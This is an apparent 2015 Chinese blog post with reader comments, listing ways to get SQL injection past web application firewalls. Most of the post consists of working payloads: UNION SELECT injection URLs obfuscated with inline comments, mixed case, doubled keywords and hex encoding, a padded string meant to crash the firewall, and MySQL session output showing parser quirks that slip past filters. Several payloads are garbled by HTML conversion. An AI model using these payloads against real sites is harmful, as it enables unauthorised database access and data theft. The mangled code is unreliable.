«

如何绕过WAF?Mrxn总结如下一些技巧

时间:2015-5-22 18:52     作者:admin     分类: 渗透测试


WAF介绍

什么是WAF?

WAF--俗称“Dog” --WEB_Dog ----Web应用防火墙。

Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。



基本/简单绕过方法:

1、注释符



http://www.site.com/index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3,4….



2、使用大小写



http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….



3、结合前面两种方法



http://www.site.com/index.php?page_id=-15 /!uNIOn/ /!SelECt/ 1,2,3,4….



4、关键字替换



http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….



此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....



5、内部注释



http://www.site.com/index.php?page_id=-15 %55nION//%53ElecT 1,2,3,4…



U替换为%55,S替换为%53 在 union 和 select 之间添加注释/
/



高级绕过方法:

1、缓冲区溢出/使防火墙崩溃



大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃



http://www.site.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/!uNIOn/+/!SeLECt/+1,2,3,4….



你可以使用如下方法测试WAF



?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4….



如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF



2、对字母进行编码



http://www.site.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4….



3、使用其他变量或者命令对注入语句进行替换



COMMAND | WHAT TO USE INSTEAD



@@version | version()



concat() | concat_ws()



group_concat() | concat_ws()



4、利用WAF本身的功能绕过



假如你发现WAF会把""替换为空,那么你就可以利用这一特性来进行绕过



????????http://www.site.com/index.php?page_id=-15+uni
on+select+1,2,3,4....



其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)?











研究过国内外的waf。分享一些 奇淫绝技。



一些大家都了解的技巧如:/
!/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。



Mysql



tips1: 神奇的 &nbsp; (格式输出表的那个控制符)<br /> 过空格和一些正则。<br /> <br /> mysql&gt; selectversion() <br /> &nbsp;&nbsp;&nbsp; -&gt; ; &nbsp;<br /> +----------------------+ &nbsp;<br /> |version()&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | &nbsp;<br /> +----------------------+ &nbsp;<br /> | 5.1.50-community-log | &nbsp;<br /> +----------------------+ &nbsp;<br /> 1 row in set (0.00 sec)<br /> 一个更好玩的技巧,这个控制符可以当注释符用(限定条件)。



mysql> select id from qs_admins where id=1;dfff and comment it; <br /> +----+ &nbsp;<br /> | id | &nbsp;<br /> +----+ &nbsp;<br /> | 1&nbsp; | &nbsp;<br /> +----+ &nbsp;<br /> 1 row in set (0.00 sec)<br /> usage : where&nbsp; id ='0''xxxxcomment on.



tips2:神奇的- + .

mysql> select id from qs_admins;  

+----+  

| id |

+----+  

| 1  |  

+----+  

1 row in set (0.00 sec)



mysql> select+id-1+1.from qs_admins;  

+----------+  

| +id-1+1. |  

+----------+  

| 1        |  

+----------+  

1 row in set (0.00 sec)



mysql> select-id-1+3.from qs_admins;  

+----------+  

| -id-1+3. |  

+----------+  

| 1        |  

+----------+  

1 row in set (0.00 sec)

(有些人不是一直在说关键字怎么过?过滤一个from ...    就是这样连起来过)



tips3: @

mysql> select@^1.from qs_admins;  

+------|+  

| @^1. |  

+------|+  

| NULL |  

+------|+

这个是bypass  曾经dedeCMS filter .



或者这样也是ok.



tips4:mysql function() as xxx  也可以不用as 和空格

mysql> select-count(id)test from qs_admins;  

+------|+  

| test |  

+------|+  

| -1   |  

+------|+  

1 row in set (0.00 sec)

tips5:/
![>5000]/ 新构造  版本号(这个可能有些过时了。)

mysql> /*!40000select\
/ id from qs_admins;  

+----+  

| id |  

+----+  

|  1 |  

+----+  

1 row in set (0.00 sec)


------End-----如果你有什么更好的奇淫技巧,记得告诉我----O(∩_∩)O哈哈~

标签: 渗透测试 web安全 入侵 waf

版权所有:Mrxn's Blog
文章标题:如何绕过WAF?Mrxn总结如下一些技巧
除非注明,文章均为 Mrxn's Blog 原创,请勿用于任何商业用途,转载请注明作者和出处 Mrxn's Blog

扫描二维码,在手机上阅读

推荐阅读:

评论:
avatar
同盟源 2015-07-20 13:48
我还以为是gfw呢..
commentator
Mrxn 2015-07-20 14:11
@同盟源:关于GFW 请查看这里 :http://www.mrxn.net/netsafe/280.html
avatar
知道91博客 2015-05-29 22:37
高手啊
commentator
Mrxn 2015-05-29 22:58
@知道91博客:额 那里  只是把知道的写出来 记录一下而已  你博客很好看!  我博客很简单....